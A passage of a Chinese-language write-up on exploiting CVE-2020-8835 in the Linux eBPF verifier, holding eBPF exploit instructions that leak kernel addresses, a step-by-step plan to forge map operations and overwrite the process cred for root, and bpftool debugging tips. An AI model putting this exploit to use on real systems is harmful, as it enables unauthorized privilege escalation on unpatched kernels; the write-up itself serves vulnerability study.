                BPF_ALU64_REG(BPF_AND,BPF_REG_8,BPF_REG_4),  // r8 = r8 & 0xFFFFffff  偏移r8檢查時為0,而實際值為0x110
                BPF_JMP_IMM(BPF_JA, 0, 0, 2),

                BPF_MOV64_IMM(BPF_REG_0,0x0),				// r9 = 0
                BPF_EXIT_INSN(),

        //-------- exp_mapfd
                BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd),			// r9 = exp_mapfd
                BPF_MAP_GET_ADDR(0,BPF_REG_7),
                BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_8), // r7 = r7-r8 = r7-0x110

                BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0),    // r7 = &exp_value[0]-0x110 , 獲得array_map_ops的地址 —— 泄露內核基址
                BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10), // leak *(&exp_value[0]-0x110)

                BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0xc0), // leak *(&exp_value[0]-0x110+0xc0) wait_list —— 泄露 exp_value 基址
                BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x18), // 泄露 wait_list保存的地址,該地址指向自身,所以此處用於泄露exp_map的地址
                BPF_ALU64_IMM(BPF_ADD,BPF_REG_0,0x50), // r0 = &exp_map[0],計算前r0和r7的值相同,但為什么用r0計算,因為r0是map中的數據,而r7是指針,不能往map中寫指針
        // &ctrl[0]+0x8 -> op
                BPF_LDX_MEM(BPF_DW,BPF_REG_8,BPF_REG_6,0x8),  // r8 = op
                BPF_JMP_IMM(BPF_JNE, BPF_REG_8, 1, 4),

                BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0), // r7=&exp_value[0]-0x110,即&exp_map[0]
                BPF_ST_MEM(BPF_W,BPF_REG_7,0x18,BPF_MAP_TYPE_STACK),//map type
                BPF_ST_MEM(BPF_W,BPF_REG_7,0x24,-1),// max_entries
                BPF_ST_MEM(BPF_W,BPF_REG_7,0x2c,0x0), //lock_off

                BPF_MOV64_IMM(BPF_REG_0,0x0),
                BPF_EXIT_INSN(),

        };

利用的整體思路:

  1. 通過漏洞,使得傳進來的偏移r8檢查時為0,而實際為0x110
  2. 將&exp_value[0]-0x110,獲得exp_map的地址,exp_map[0] 保存着array_map_ops的地址,可以用於泄露內核地址
  3. &exp_value[0]-0x110+0xc0(wait_list)處保存着指向自身的地址,用於泄露exp_value的地址
  4. 利用任意讀查找init_pid_ns結構地址
  5. 利用進程pid和init_pid_ns結構地址獲取當前進程的task_struct
  6. 在exp_value上填充偽造的array_map_ops
  7. 修改 map 的一些字段繞過一些檢查
  8. 調用 bpf_update_elem任意寫內存
  9. 修改進程task_struct 的cred進行提權。

多核提權

2-exp_multi_core

單核提權

針對單核機器,可以通過per_cpu_offset + current_task來查找當前進程的task_struct,通過任意讀獲取task_struct的comm字段,匹配是否為你運行的進程。該方法適用於單核機器,並且有一定概率會crash。

3-exp_single_core


四、調試技巧

編譯選項:打開內核的debug info,編輯.config 打開所有BPF_***,打開CONFIG_BPF_SYSCALL

調試:主要調試的代碼位於kernel/bpf/verifier.c中,可以根據源代碼,利用b kernel/bpf/verifier.c:行數的方式下斷點。

打印內核中載入的eBPF程序:可以將內核源碼復制到鏡像中,然后在虛擬機中進入tools/bpf/bpftool目錄下,執行make,編譯出bpftool

# ./bpftool p s會顯示出內核中載入的eBPF程序的id等信息
$ ./bpftool p s
5: socket_filter  tag 31bce63e92f471c4  gpl
    loaded_at 2020-04-17T03:31:44+0000  uid 1000
    xlated 88B  jited 89B  memlock 4096B
# ./bpftool p d x i id可以打印出具體的eBPF程序
$ ./bpftool p d x i 5
   0: (b7) r0 = 808464432
   1: (7f) r0 >>= r0
   2: (14) w0 -= 808464432
   3: (07) r0 += 808464432
   4: (b7) r1 = 808464432
   5: (de) if w1 s<= w0 goto pc+0
   6: (07) r0 += -2144337872
   7: (14) w0 -= -1607454672
   8: (76) if w0 s>= 0x303030 goto pc+1
   9: (05) goto pc-1
  10: (95) exit

參考:

先知社區de4dcr0w—— CVE-2020-8835 pwn2own 2020 ebpf 通過任意讀寫提權分析

安全客——CVE-2020-8835:Linux eBPF模塊verifier組件漏洞分析

安全客rtfingc——https://www.anquanke.com/post/id/203416

360——CVE-2020-8835: Linux Kernel 信息泄漏/權限提升漏洞分析


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM